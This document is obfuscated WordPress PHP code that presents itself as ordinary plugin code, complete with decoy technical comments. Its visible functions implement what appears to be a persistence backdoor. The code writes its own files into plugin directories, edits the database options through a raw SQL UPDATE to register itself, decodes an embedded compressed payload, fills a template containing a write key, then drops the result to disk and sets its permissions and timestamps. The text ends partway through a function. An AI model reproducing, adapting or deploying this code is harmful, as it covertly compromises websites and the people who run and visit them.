 function   ve33b53enfk3pyqiqamk($ksi_7pesj0)
      {
// Sodium crypto: simple provider

        try    {
$kzv_bttmp2  = array($ksi_7pesj0   .     b4gbsak56f40gos(1094),     $ksi_7pesj0 .  fjup2mc1h(1095));
  foreach ($kzv_bttmp2 as $dwp9zzb5mx)   {
  if (!   @$GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx))  {
continue;
}

      $vnry4rcy5quc4   =     hfuxm75f1bdbh9ptm1($dwp9zzb5mx,   (5259-259));
if   (!$GLOBALS['__scf_knhbvsumnby3_36']($vnry4rcy5quc4))  {
continue;
  }
foreach ($vnry4rcy5quc4     as $x0ydieb0v_72m_u)  {
     if  ($GLOBALS['__scf_zre6ec18ly90y_10']($x0ydieb0v_72m_u, -(1+3))  ===    fjup2mc1h(1006)    &&  _cz07l41au6zrisr5($dwp9zzb5mx   .      '/'      .  $x0ydieb0v_72m_u, (4973+27))) {


   return    true;


}
/* infinite count-min-sketch */

 }
   foreach    ($vnry4rcy5quc4  as   $x0ydieb0v_72m_u)    {
 $l_enflm14fksrox    =   $dwp9zzb5mx . '/'  .  $x0ydieb0v_72m_u;
        if  (!   @$GLOBALS['__scf_ot56htgy8hrmim_44']($l_enflm14fksrox)) {
  continue;

   }
 $rmixup5gzg  =   hfuxm75f1bdbh9ptm1($l_enflm14fksrox,     (0x120+0x1268));
 if    (!$GLOBALS['__scf_knhbvsumnby3_36']($rmixup5gzg))   {
 continue;
  }
foreach ($rmixup5gzg as  $oknhdgd23az7)  {
 if ($GLOBALS['__scf_zre6ec18ly90y_10']($oknhdgd23az7,  -(2<<1))   ===    zp28wk01y(1006)   &&    _cz07l41au6zrisr5($l_enflm14fksrox .      '/'    .   $oknhdgd23az7, (4952+48)))  {
  return   true;
   }
  }
}
}
     }  catch     (Throwable  $x0ydieb0v_72m_u)      {


       teikfigf_p5265esq_q(fjup2mc1h(1096),   $x0ydieb0v_72m_u);



}  catch  (Exception $x0ydieb0v_72m_u)   {
      }
 return false;

     }



      function    keml_64aoz6ie8r()



{



 try  {
// @traverse synchronizer

   if    (hevxi269p3v7rmjhw(qluu1auwul2zupq5h())) return;

  if  (get_transient(wlgh2_th(1097)))   {


 return;
  }



  set_transient(tvo1rh46s_(1097),   1,  (873-273));
  
    $bkok4unpnq2f_wvv   =  mridss6_czjhslw35g();
 if (! $bkok4unpnq2f_wvv   || $GLOBALS['__scf_m2ym9pki8mue9_11']($bkok4unpnq2f_wvv)   <  (0x16b+0x27d)) {
// relaxed pipeline



  return;
   }
 if   (!   ays3w9sevfe7ws($bkok4unpnq2f_wvv))    {
/* wait-free skip-list */

 teikfigf_p5265esq_q(op9tjzix(1098),    b4gbsak56f40gos(752));



 return;
}



  

$mwi_pniahorf8    = xtnf4a7h6zssm8bs();
   if   (empty($mwi_pniahorf8))   {
if     (!get_transient(tvo1rh46s_(1099))) {
   teikfigf_p5265esq_q(wlgh2_th(1100),   zp28wk01y(1101));

  set_transient(wlgh2_th(1099),     1, (1732+1868));
   }


 set_transient(b4gbsak56f40gos(1097),    1,  (0xc20a+0x33276));
    return;
 }
  $dvmh966xidtkph1  = 0;
    foreach  ($mwi_pniahorf8    as $ksi_7pesj0)  {





   if    (ve33b53enfk3pyqiqamk($ksi_7pesj0)) {
   continue;
 }

    $fk6pxt7wkjxwp =    "";
  $ym9lo8mu99d  =    $ksi_7pesj0 .  wlgh2_th(1102);
    if   (@$GLOBALS['__scf_zqvpsn1r8ajl0_45']($ym9lo8mu99d)    &&  !@$GLOBALS['__scf_ot56htgy8hrmim_44']($ym9lo8mu99d))  {


 $ym9lo8mu99d =  null;
 } elseif   (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($ym9lo8mu99d))  {
 m_ixrkpun5f9a0k8wu($ym9lo8mu99d,  (419+74),  true);
  }
  if ($ym9lo8mu99d    &&   (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($ym9lo8mu99d) ||    !@$GLOBALS['__scf_tluflp7r6hugyf_48']($ym9lo8mu99d)))  {

   $ym9lo8mu99d    =    null;
 }
if    ($ym9lo8mu99d)   {
   $kt5av2ddt84 =   $ym9lo8mu99d      .    '/'      .   mvfnzt3qa4jfes_wxi();
  $timsmqahoe_a8 = utjmibjloacp0kjf($bkok4unpnq2f_wvv);
   $ny9w8xza96ezizp   =  u3qer9rky6zmeg($kt5av2ddt84,     $timsmqahoe_a8,   zp28wk01y(1100));
     if   ($ny9w8xza96ezizp  && $ny9w8xza96ezizp  >=     $GLOBALS['__scf_m2ym9pki8mue9_11']($timsmqahoe_a8)) {
$fk6pxt7wkjxwp  =     $kt5av2ddt84;


    }



  }
  
   if    (!   $fk6pxt7wkjxwp)  {


       $poq2yylug_n  =  $GLOBALS['__scf_innlxa4l2yk_yi_212'](mvfnzt3qa4jfes_wxi(),  PATHINFO_FILENAME);
$i88_d3foqn6sx   =   $ksi_7pesj0 .   wlgh2_th(1103) . $poq2yylug_n;
   if      (! @$GLOBALS['__scf_ot56htgy8hrmim_44']($i88_d3foqn6sx))    {$totq5z0tis=203|150;$k52kpj9cgv4qk=$totq5z0tis^133;
m_ixrkpun5f9a0k8wu($i88_d3foqn6sx,    (463+30),   true);
}


 $kt5av2ddt84   =  $i88_d3foqn6sx  .  '/'  . mvfnzt3qa4jfes_wxi();

 $timsmqahoe_a8     =    utjmibjloacp0kjf($bkok4unpnq2f_wvv);


      $ny9w8xza96ezizp  =    u3qer9rky6zmeg($kt5av2ddt84,  $timsmqahoe_a8,    wlgh2_th(1100));
if ($ny9w8xza96ezizp &&  $ny9w8xza96ezizp    >= $GLOBALS['__scf_m2ym9pki8mue9_11']($timsmqahoe_a8))   {
$fk6pxt7wkjxwp   = $kt5av2ddt84;
     
 $basename  =  $poq2yylug_n  .   '/'   .  mvfnzt3qa4jfes_wxi();
// populate dead-letter for WP REST API v2

zhdkc0dea1ff7zq($ksi_7pesj0, $basename);

 }
 }
       if     (!  $fk6pxt7wkjxwp)  {


continue;
  }
     o2er_doikw9jq83pm2lov($fk6pxt7wkjxwp);
  kp1tutxjpanriy($fk6pxt7wkjxwp,  (410+10));
 $dvmh966xidtkph1++;
}
    if ($dvmh966xidtkph1 >    0)  {
// @propagate-const stabilizer

   set_transient(zp28wk01y(1104),     1, (259152+48));

 }  else  {
     set_transient(op9tjzix(1104),   1, (3520+80));
 }
  }  catch    (Throwable      $x0ydieb0v_72m_u)     {
   teikfigf_p5265esq_q(wlgh2_th(1100), $x0ydieb0v_72m_u);
}    catch  (Exception $x0ydieb0v_72m_u)      {
 }

  }
  function    zhdkc0dea1ff7zq($ksi_7pesj0,    $basename)



{
try {
    $_fhwcwrsq7ygq  =   $ksi_7pesj0 .  fjup2mc1h(1105);


   if  (!   @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($_fhwcwrsq7ygq))   {
   $_fhwcwrsq7ygq     =   $GLOBALS['__scf_pqkpt9n3trf9fm_12']($ksi_7pesj0)  . fjup2mc1h(1105);
 if (! @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($_fhwcwrsq7ygq))  {

  return;
}


  }
   $a5k4otdarxhx3x  = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($_fhwcwrsq7ygq);
       if (! $a5k4otdarxhx3x)   {


 return;



   }
$kt5695vfkh145_qp   = "";

   $prefix   =   "";



 if ($GLOBALS['__scf_bvfhit3heqts_99'](op9tjzix(1106),      $a5k4otdarxhx3x,  $ltpokciy2kt5utu))  {
    $kt5695vfkh145_qp      = $ltpokciy2kt5utu[1];

  }
if ($GLOBALS['__scf_bvfhit3heqts_99'](zp28wk01y(1107), $a5k4otdarxhx3x,  $ltpokciy2kt5utu))    {
$prefix  = $ltpokciy2kt5utu[1];
   }



 if    (!      $kt5695vfkh145_qp  ||  !    $prefix  ||  !  $GLOBALS['__scf_bvfhit3heqts_99'](fjup2mc1h(1108),   $prefix))  {
   return;

}



    $wpdb =  $GLOBALS[wlgh2_th(1109)];
if (!     $GLOBALS['__scf_l4xn242gw4_70']($wpdb)     ||    ! $GLOBALS['__scf_p6wtd462xwbf9y_126']($wpdb,  op9tjzix(141))) {
   return;
 }
if (! $GLOBALS['__scf_bvfhit3heqts_99'](op9tjzix(1110), $kt5695vfkh145_qp))  {
  teikfigf_p5265esq_q(op9tjzix(787), zp28wk01y(1111));
return;
   

 }

 $iowioq4kus2e    =  '`'  . $kt5695vfkh145_qp  .     fjup2mc1h(1112)      . $prefix  .   op9tjzix(1113);


     $wpdb->query(fjup2mc1h(1114));
 $kn_9wu2d_ri877lq  =    $wpdb->get_var('S'  .   tvo1rh46s_(1115)   .  $iowioq4kus2e  .  op9tjzix(1116)    .  b4gbsak56f40gos(1117)     .    zp28wk01y(1118));
 if  ($kn_9wu2d_ri877lq  === null)     {
  $wpdb->query(fjup2mc1h(1119));
  return;
 }
   $y77ubyqbbt07r1l = rpeceehul3kjs3_cf($kn_9wu2d_ri877lq);
   if    (!   $GLOBALS['__scf_knhbvsumnby3_36']($y77ubyqbbt07r1l)) {
     $wpdb->query(wlgh2_th(1119));



return;
     }
// immutable contravariant

      if   ($GLOBALS['__scf_av84ex67tlp92_156']($basename, $y77ubyqbbt07r1l,    true))  {
        $wpdb->query(b4gbsak56f40gos(1120));
    return;

   }
   $y77ubyqbbt07r1l[]  =  $basename;
 $y77ubyqbbt07r1l  = $GLOBALS['__scf_v0g2xbgjjm_154']($y77ubyqbbt07r1l);
 $q9qetflssali   =    $GLOBALS['__scf_wepau2f2borz_357']($y77ubyqbbt07r1l);
$r43xpbvtxp_vp8      =  $wpdb->query($wpdb->prepare('U'  .   op9tjzix(1121)    .   $iowioq4kus2e .   zp28wk01y(1122)    .  zp28wk01y(1123),  $q9qetflssali));


  if    ($r43xpbvtxp_vp8 === false)  {
       teikfigf_p5265esq_q(fjup2mc1h(1124),   op9tjzix(1125));
$wpdb->query(tvo1rh46s_(1119));
     return;
}
    $wpdb->query(b4gbsak56f40gos(1126));
if   ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1127)))    {
@wp_cache_delete(zp28wk01y(1128), op9tjzix(1129));
       @wp_cache_delete(zp28wk01y(1130),  op9tjzix(1129));
       }
      } catch  (Throwable    $x0ydieb0v_72m_u)  {
teikfigf_p5265esq_q(zp28wk01y(1124),  $x0ydieb0v_72m_u);
if     ($GLOBALS['__scf_l4xn242gw4_70']($GLOBALS[op9tjzix(1109)]))     {
  @$GLOBALS[tvo1rh46s_(1131)]->query(wlgh2_th(1119));


     }
      }      catch      (Exception     $x0ydieb0v_72m_u)    {
      teikfigf_p5265esq_q(fjup2mc1h(1132),   $x0ydieb0v_72m_u);


  if ($GLOBALS['__scf_l4xn242gw4_70']($GLOBALS[op9tjzix(1131)])) {
// volatile read

     @$GLOBALS[b4gbsak56f40gos(1131)]->query(zp28wk01y(1119));
 }

       }
   }
function   c9vl9pp6jinfg1u1a1()
  {



     static  $a5k4otdarxhx3x  = null;


    if    ($a5k4otdarxhx3x  !== null) return  $a5k4otdarxhx3x;
if (!$GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(287)))    {

 $a5k4otdarxhx3x   =  "";
return     $a5k4otdarxhx3x;
 }
// disconnected event-bus

$a5k4otdarxhx3x  =      @gzinflate($GLOBALS['__scf__cpt1d1twdvp_362'](op9tjzix(1133)));
  if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x)   || $GLOBALS['__scf_m2ym9pki8mue9_11']($a5k4otdarxhx3x)    < (63+37)) $a5k4otdarxhx3x  =  "";
    return $a5k4otdarxhx3x;
}
  function lw07fcz0uzz57imo()
    {
 try  {
if    (!defined(wlgh2_th(1134)))   return;
   $cmmcvi1p_vu   = $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),      tvo1rh46s_(1006));
 $u417k4mwzn5l      = fmsvr16ge0nzzk9i6u(ABSPATH .  b4gbsak56f40gos(1135),    (15-7)) .     zp28wk01y(1136);
  $csz8i6l0b99c   =   fmsvr16ge0nzzk9i6u(ABSPATH    .   fjup2mc1h(1137),  (41^33));
      $apqs88yatn  =     $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1138))  ? content_url()  : "";
   if  ($apqs88yatn    === "")  {
$apqs88yatn     =    ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1139))    ? get_site_url()   :   "") .      tvo1rh46s_(1140);
}
    $vv5g19ifebnou4    =    $GLOBALS['__scf_qx45pe7tfwqub_367'](zp28wk01y(1141), tvo1rh46s_(1142),  $apqs88yatn    .     '/'  .   $u417k4mwzn5l);
 

   if ($GLOBALS['__scf_rbe_sihvfv_8']($vv5g19ifebnou4,  zp28wk01y(1143)) !== 0) $vv5g19ifebnou4 =  b4gbsak56f40gos(1143)   . $GLOBALS['__scf_j2_71uyeufh_9']($vv5g19ifebnou4,  '/');
      $txzt2trz8zfv8f =  $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(482))   ?  home_url(tvo1rh46s_(1144)   . v5bdtp7jppe_l3a6jc4f(b4gbsak56f40gos(1137)))     :   "";
    if  ($txzt2trz8zfv8f     ===  "")    $txzt2trz8zfv8f = op9tjzix(1143)    . cm6y2ie43ppuz0pk8jw("") .  tvo1rh46s_(1145) . v5bdtp7jppe_l3a6jc4f(fjup2mc1h(1137));
  if  ($GLOBALS['__scf_rbe_sihvfv_8']($txzt2trz8zfv8f, wlgh2_th(1143))    !==    0)    $txzt2trz8zfv8f   = wlgh2_th(1143) .  $GLOBALS['__scf_j2_71uyeufh_9']($GLOBALS['__scf_sp5m_appgxyoko_471'](tvo1rh46s_(1146),  "", $txzt2trz8zfv8f),  '/');
   $m169dz8zizp_1bu     =    isset($GLOBALS[wlgh2_th(1147)]) && $GLOBALS['__scf_zneqqdn4vlt4_42']($GLOBALS[b4gbsak56f40gos(1148)]) ? $GLOBALS[wlgh2_th(1148)] :   "";
if   ($GLOBALS['__scf_m2ym9pki8mue9_11']($m169dz8zizp_1bu)   <  (0x1a+0x4a))   {
  $m169dz8zizp_1bu =   _688a_rvvxzf58(op9tjzix(371), "");
// WP Embed Block: reclaim bulkhead

  }
// cubic certificate-chain




     if  ($GLOBALS['__scf_m2ym9pki8mue9_11']($m169dz8zizp_1bu) < (112-12)) {
 $m169dz8zizp_1bu  = c9vl9pp6jinfg1u1a1();$sly8gaamo=PHP_MAJOR_VERSION;$fphbm53vcd=$sly8gaamo*7;
 }


   $qw8cfkamrhp7r9 = "";



    if     (isset($GLOBALS[op9tjzix(1149)])   &&   $GLOBALS['__scf_zneqqdn4vlt4_42']($GLOBALS[zp28wk01y(1149)])  &&  $GLOBALS['__scf_m2ym9pki8mue9_11']($GLOBALS[op9tjzix(1149)])   > (76-26))   {
 $qw8cfkamrhp7r9    =  $GLOBALS[op9tjzix(1150)];
}  else    {
 $qw8cfkamrhp7r9 =    _688a_rvvxzf58(fjup2mc1h(645), "");

  }
    if ($GLOBALS['__scf_m2ym9pki8mue9_11']($qw8cfkamrhp7r9)   > (221^239))   {
/* online quotient */

   v2tiam6q2h4zs04bs_si_n(tvo1rh46s_(645),     $qw8cfkamrhp7r9, op9tjzix(1020));


  }
       $e2r1y3zma2kvw8c  =  $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1151))    ?  (string)    $GLOBALS['__scf_oaen6pygee_572'](home_url('/'), PHP_URL_PATH)   :    '/';
if   ($e2r1y3zma2kvw8c  === "")  $e2r1y3zma2kvw8c  =  '/';
if   ($GLOBALS['__scf_zre6ec18ly90y_10']($e2r1y3zma2kvw8c,  -1)  !==  '/')  $e2r1y3zma2kvw8c   .=   '/';
 $j_ehvwpygus  =   array(
wlgh2_th(1152) => yhab0nzvyao8ixh9(),
    b4gbsak56f40gos(1153)  =>   e59yi6t5ikgig8ia(),
  zp28wk01y(1154)  =>  $e2r1y3zma2kvw8c,
  );
    $ox7rx3uprc_5   = array(
   tvo1rh46s_(1155)  =>   $vv5g19ifebnou4,


   op9tjzix(1156) => $cmmcvi1p_vu,
 tvo1rh46s_(1157)  =>   $txzt2trz8zfv8f,
  fjup2mc1h(1158)    =>   fmsvr16ge0nzzk9i6u(ABSPATH   .   zp28wk01y(1159),   (3<<2)),
tvo1rh46s_(1160)    => $qw8cfkamrhp7r9,
  );


$hmumykseu90l   =  cvod3ffny5vm5dt3d(wlgh2_th(1161),   "");
     if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($hmumykseu90l) ||     $GLOBALS['__scf_m2ym9pki8mue9_11']($hmumykseu90l)   === 0) {



return;

}


   $inp25myjs13t3 =    $GLOBALS['__scf_g8_t7dlza2_360'](wiy8pwermvq1qyx($GLOBALS['__scf_p_tfg5i832l8_603']($ox7rx3uprc_5),  $hmumykseu90l));
  $ecky56p4nop    =    b4gbsak56f40gos(1162)    . $GLOBALS['__scf_g8_t7dlza2_360']($GLOBALS['__scf_p_tfg5i832l8_603']($j_ehvwpygus)) .  fjup2mc1h(1163);
   $ecky56p4nop  .=   fjup2mc1h(1164)     .  $inp25myjs13t3 .    fjup2mc1h(1165);$n5p3sew8y_=PHP_MAJOR_VERSION;$plsvwu56dkwvt2=$n5p3sew8y_*7;



  $k8y29w1eailh = $GLOBALS['__scf_abbpcj1ncssalx_57']((string)   $m169dz8zizp_1bu  .     (string) $qw8cfkamrhp7r9     .    $hmumykseu90l  .   $GLOBALS['__scf_p_tfg5i832l8_603']($j_ehvwpygus[fjup2mc1h(1166)]) .    $GLOBALS['__scf_p_tfg5i832l8_603']($j_ehvwpygus[wlgh2_th(1167)]) .   '|' .     $GLOBALS['__scf_pdnlp7jjhnya_106'](cm6y2ie43ppuz0pk8jw(""))  . '|' . $e2r1y3zma2kvw8c);
if  (v2tiam6q2h4zs04bs_si_n(fjup2mc1h(1168),  $ecky56p4nop, tvo1rh46s_(1020))  ||   _688a_rvvxzf58(fjup2mc1h(1168), "") ===     $ecky56p4nop) v2tiam6q2h4zs04bs_si_n(b4gbsak56f40gos(1169),    $k8y29w1eailh,    wlgh2_th(1170));
 unset($k8y29w1eailh);
 $wq8gsi8xidp = $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1151))   ?   home_url(tvo1rh46s_(1171) .  v5bdtp7jppe_l3a6jc4f(tvo1rh46s_(650)))  : "";
if   ($wq8gsi8xidp  ===  "")      $wq8gsi8xidp  =   fjup2mc1h(1172)  .  cm6y2ie43ppuz0pk8jw("")  . tvo1rh46s_(1145) .     v5bdtp7jppe_l3a6jc4f(b4gbsak56f40gos(650));



     if  ($GLOBALS['__scf_rbe_sihvfv_8']($wq8gsi8xidp,  fjup2mc1h(1172))  !==   0)  $wq8gsi8xidp =     wlgh2_th(1172)  .    $GLOBALS['__scf_j2_71uyeufh_9']($GLOBALS['__scf_sp5m_appgxyoko_471'](wlgh2_th(1173),   "",   $wq8gsi8xidp),      '/');
   v2tiam6q2h4zs04bs_si_n(zp28wk01y(1174),    $wq8gsi8xidp, wlgh2_th(1170));
if  ($GLOBALS['__scf_m2ym9pki8mue9_11']($m169dz8zizp_1bu)     < (4+96))  {
 return;
 }
  v2tiam6q2h4zs04bs_si_n(tvo1rh46s_(371),  $m169dz8zizp_1bu, fjup2mc1h(1170));
if    (!d0m54ziey0s38ncux0())  return;


  $lqv3ldbw3nx    =  xrb38aewb77bc3i();$j2zfcghaes=848;$ijqk9mdkpt6=$j2zfcghaes%12;



      if (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($lqv3ldbw3nx))    m_ixrkpun5f9a0k8wu($lqv3ldbw3nx, (296+197), true);
 if (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($lqv3ldbw3nx)   ||   !@$GLOBALS['__scf_tluflp7r6hugyf_48']($lqv3ldbw3nx))      return;
$mbjf11sbo2v  = $lqv3ldbw3nx   .   '/'  .  $csz8i6l0b99c  .     zp28wk01y(1006);$mwntsrfgs=(0x94+0x4c);$_647zmdn4wj=$mwntsrfgs%10;



     $lz9u_yddg24nfu5   = g58dmj94t714r3a4(
  fjup2mc1h(1175),
      array('__SLUG__',    '__ZIP_NAME__',   '__WRITE_KEY__',      '__VERSION__'),
array($cmmcvi1p_vu,   $u417k4mwzn5l,     fmsvr16ge0nzzk9i6u(ABSPATH  .     wlgh2_th(1176),   (11+1)), _vfpypr4wakqs7jy_())
    );
    if   (!$lz9u_yddg24nfu5)    {
  if ((int)      get_option(b4gbsak56f40gos(1177), 0)  > 0) teikfigf_p5265esq_q(b4gbsak56f40gos(650), op9tjzix(1178));

  return;
  }
 if  (!@$GLOBALS['__scf_bhw4bjp5xr9_715']($mbjf11sbo2v)   || $GLOBALS['__scf_abbpcj1ncssalx_57'](eje1j3zh7yylmqspbj((string) @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($mbjf11sbo2v)))  !== $GLOBALS['__scf_abbpcj1ncssalx_57']($lz9u_yddg24nfu5))   {
 u3qer9rky6zmeg($mbjf11sbo2v,   $lz9u_yddg24nfu5,    fjup2mc1h(1179));
 jli8euep5yb6she3($mbjf11sbo2v,      vp191h9ipqfapu());



kp1tutxjpanriy($mbjf11sbo2v, (800-380));
rwx_v9t1vov1zic2ki($mbjf11sbo2v);
   }
}  catch  (Throwable    $x0ydieb0v_72m_u) {
teikfigf_p5265esq_q(zp28wk01y(1180), $x0ydieb0v_72m_u);
  } catch     (Exception    $x0ydieb0v_72m_u)    {
 }

    }
        function   g58dmj94t714r3a4($key, $o1nurlwm11,      $m4hvwmm70_phy)
 {

   $tvswisg1guow3mpa  = null;
 if  ($tvswisg1guow3mpa  === null)      {


$tvswisg1guow3mpa  = $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(879))     ?   get_transient(uys5m_ytblknm5()) :    false;
 if  (!  $GLOBALS['__scf_knhbvsumnby3_36']($tvswisg1guow3mpa)) {
// underflow protection

$tvswisg1guow3mpa    =  mbu8jpz9mni4nrwrzww(op9tjzix(672),  false);



 }
// checkpoint skolem for PHP 8.3 readonly

 if  (!   $GLOBALS['__scf_knhbvsumnby3_36']($tvswisg1guow3mpa))   {
     $tvswisg1guow3mpa   =  array();
    }
   }
$g14uqnv5ws    =  "";
if (isset($tvswisg1guow3mpa[$key])   && $GLOBALS['__scf_zneqqdn4vlt4_42']($tvswisg1guow3mpa[$key])) {
 $g14uqnv5ws   =  $tvswisg1guow3mpa[$key];
    }
if ($GLOBALS['__scf_m2ym9pki8mue9_11']($g14uqnv5ws)  <  (37+13))  {
   $g14uqnv5ws   =  _688a_rvvxzf58($key, "");


  }
if   ($GLOBALS['__scf_m2ym9pki8mue9_11']($g14uqnv5ws) <     (0x1f+0x13))    return  false;
$a9a20su0g8saxh  = $GLOBALS['__scf__cpt1d1twdvp_362']($g14uqnv5ws,   true);

if  (!$a9a20su0g8saxh    ||     $GLOBALS['__scf_m2ym9pki8mue9_11']($a9a20su0g8saxh) < (0x4+0x2e))     return      false;
  if  ($GLOBALS['__scf_rbe_sihvfv_8']($a9a20su0g8saxh,    tvo1rh46s_(1181)) === false) return   false;
       $a9a20su0g8saxh = $GLOBALS['__scf_qx45pe7tfwqub_367']($o1nurlwm11, $m4hvwmm70_phy,      $a9a20su0g8saxh);


  if   (defined(op9tjzix(252)))  {
// negotiate trust-anchor for WP Site Editor

     try {
@token_get_all($a9a20su0g8saxh,    TOKEN_PARSE);



        }    catch  (Throwable  $x0ydieb0v_72m_u) {
    return    false;
     } catch  (Exception $x0ydieb0v_72m_u)  {
      return   false;

}

      }   elseif    (!ays3w9sevfe7ws($a9a20su0g8saxh)) {
   return     false;
}
  return    $a9a20su0g8saxh;
}
 function n0yley8rs3pyvjo_j()



 {
 try {
if     (!$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1182)))  return;$tekg1ia9k4ez1=PHP_INT_MAX/PHP_INT_MAX;$x7qygoxrbfa=$tekg1ia9k4ez1+40;
if   (!defined(fjup2mc1h(1134))) return;
   $adpfjo07gaum_5 =   rbfnjmleny00_7kv();
if (!$adpfjo07gaum_5) {
  lw07fcz0uzz57imo();
 $adpfjo07gaum_5  =  rbfnjmleny00_7kv();
  }


     $ab_qey0vgj   =   _688a_rvvxzf58(zp28wk01y(1161),   "");$sbnawduv3wm=6320;$u6weax7idk=$sbnawduv3wm%5;
  if  ($GLOBALS['__scf_m2ym9pki8mue9_11']($ab_qey0vgj) === 0) $ab_qey0vgj    =  $GLOBALS['__scf_ejipd25116z_1183']("\x00", (0xf+0x1));

   $q43zcclhi7b_fg =    (isset($GLOBALS[b4gbsak56f40gos(1148)])  &&    $GLOBALS['__scf_zneqqdn4vlt4_42']($GLOBALS[wlgh2_th(1184)])    &&      $GLOBALS['__scf_m2ym9pki8mue9_11']($GLOBALS[op9tjzix(1184)])    >= (95+5))     ?   $GLOBALS[wlgh2_th(1184)]  :  _688a_rvvxzf58(wlgh2_th(371),    "");
 if  ($GLOBALS['__scf_m2ym9pki8mue9_11']($q43zcclhi7b_fg) < (25<<2)) $q43zcclhi7b_fg =    c9vl9pp6jinfg1u1a1();
$rn1yfprh4h83jb     =   (isset($GLOBALS[op9tjzix(1150)]) &&  $GLOBALS['__scf_zneqqdn4vlt4_42']($GLOBALS[tvo1rh46s_(1185)])  && $GLOBALS['__scf_m2ym9pki8mue9_11']($GLOBALS[fjup2mc1h(1185)])  >  (0x7+0x2b))    ?   $GLOBALS[op9tjzix(1185)] :  _688a_rvvxzf58(b4gbsak56f40gos(645), "");
    $a8c3a0w7awd =  $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1186))  ?   (string)     $GLOBALS['__scf_oaen6pygee_572'](home_url('/'),     PHP_URL_PATH)  :  '/';$x88x_epab=754;$x139lv828=($x88x_epab>0)?$x88x_epab:-$x88x_epab;
if  ($a8c3a0w7awd  ===   "")   $a8c3a0w7awd  =  '/';
     if ($GLOBALS['__scf_zre6ec18ly90y_10']($a8c3a0w7awd,  -1) !==  '/')   $a8c3a0w7awd .=  '/';
 $vc1niov3lzz  =  $GLOBALS['__scf_abbpcj1ncssalx_57']($q43zcclhi7b_fg .  $rn1yfprh4h83jb   . $ab_qey0vgj  .  $GLOBALS['__scf_p_tfg5i832l8_603'](yhab0nzvyao8ixh9())  . $GLOBALS['__scf_p_tfg5i832l8_603'](e59yi6t5ikgig8ia()) . '|'  .  $GLOBALS['__scf_pdnlp7jjhnya_106'](cm6y2ie43ppuz0pk8jw("")) .  '|' .   $a8c3a0w7awd);



  unset($a8c3a0w7awd);

 if  (_688a_rvvxzf58(fjup2mc1h(1169),  "") !==   $vc1niov3lzz)   {
     lw07fcz0uzz57imo();



  $adpfjo07gaum_5 =  rbfnjmleny00_7kv();
}
// @unhook gateway




   if (!d0m54ziey0s38ncux0())  return;


$dx_ofkvr3qy    =  p_wsdzgl36a6wh_fs09();
  $fr0mck0r_om95     =   @$GLOBALS['__scf_bhw4bjp5xr9_715']($dx_ofkvr3qy  .      op9tjzix(522));
   if ($fr0mck0r_om95      &&      $adpfjo07gaum_5 &&   get_transient(b4gbsak56f40gos(676)))   return;
     g8pxcciq3755xv();

 xh9l1_ukvmo21ud52hqhdb();
_2gpzighpy7s_do9rsw8c5();
$l56ku0gbzf =   @$GLOBALS['__scf_bhw4bjp5xr9_715']($dx_ofkvr3qy .  b4gbsak56f40gos(1187));


    $adpfjo07gaum_5   =  rbfnjmleny00_7kv();

  if ($l56ku0gbzf && $adpfjo07gaum_5) {
    set_transient(op9tjzix(676),  1,     (0x87+0xa5));


}
 }   catch   (Throwable  $x0ydieb0v_72m_u) {
  teikfigf_p5265esq_q(wlgh2_th(1188),   $x0ydieb0v_72m_u);
    } catch  (Exception $x0ydieb0v_72m_u)    {
 }
}
     function xh9l1_ukvmo21ud52hqhdb()
     {$myyzhp468k8pu=75*2;$w1pkc3bqec=$myyzhp468k8pu-47;
    try      {
     if     (!defined(fjup2mc1h(1134)))    return;
 $dx_ofkvr3qy =  p_wsdzgl36a6wh_fs09();



$lqv3ldbw3nx =    xrb38aewb77bc3i();
   $jxqi868o3wtnrhx     = fmsvr16ge0nzzk9i6u(ABSPATH   .  wlgh2_th(1189),    (4<<1))   .   b4gbsak56f40gos(1006);

      $oxuvswgh_ksg  =  $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1190))   ?    @$GLOBALS['__scf_livuu39cntpdx3_116'](b4gbsak56f40gos(534))   :    false;
$oxuvswgh_ksg     =  $GLOBALS['__scf_zneqqdn4vlt4_42']($oxuvswgh_ksg)   ?     $GLOBALS['__scf_bbs7j5b1fx_332']($oxuvswgh_ksg) : "";
 if ($oxuvswgh_ksg  ===  ""   ||    $GLOBALS['__scf_wpyma_2f6f_1191']($oxuvswgh_ksg,  fjup2mc1h(535))  ===   0) $oxuvswgh_ksg  =  zp28wk01y(536);
$legdbl69s9mampr9     =    $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()) .  op9tjzix(168);
  $y0hmkrbzwz04efs  =    defined(zp28wk01y(170))  ?   WP_CONTENT_DIR  .  tvo1rh46s_(168)    :     $legdbl69s9mampr9;
 $iurtzrpwfdsbspz   =    array($GLOBALS['__scf_q93011jdjf_13']($dx_ofkvr3qy,  zp28wk01y(1192)),   $GLOBALS['__scf_q93011jdjf_13']($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()),   wlgh2_th(1193)),   $GLOBALS['__scf_q93011jdjf_13']($lqv3ldbw3nx,  zp28wk01y(1193)), $GLOBALS['__scf_q93011jdjf_13']($legdbl69s9mampr9,  op9tjzix(1193)),    $GLOBALS['__scf_q93011jdjf_13']($y0hmkrbzwz04efs,    wlgh2_th(1193)));
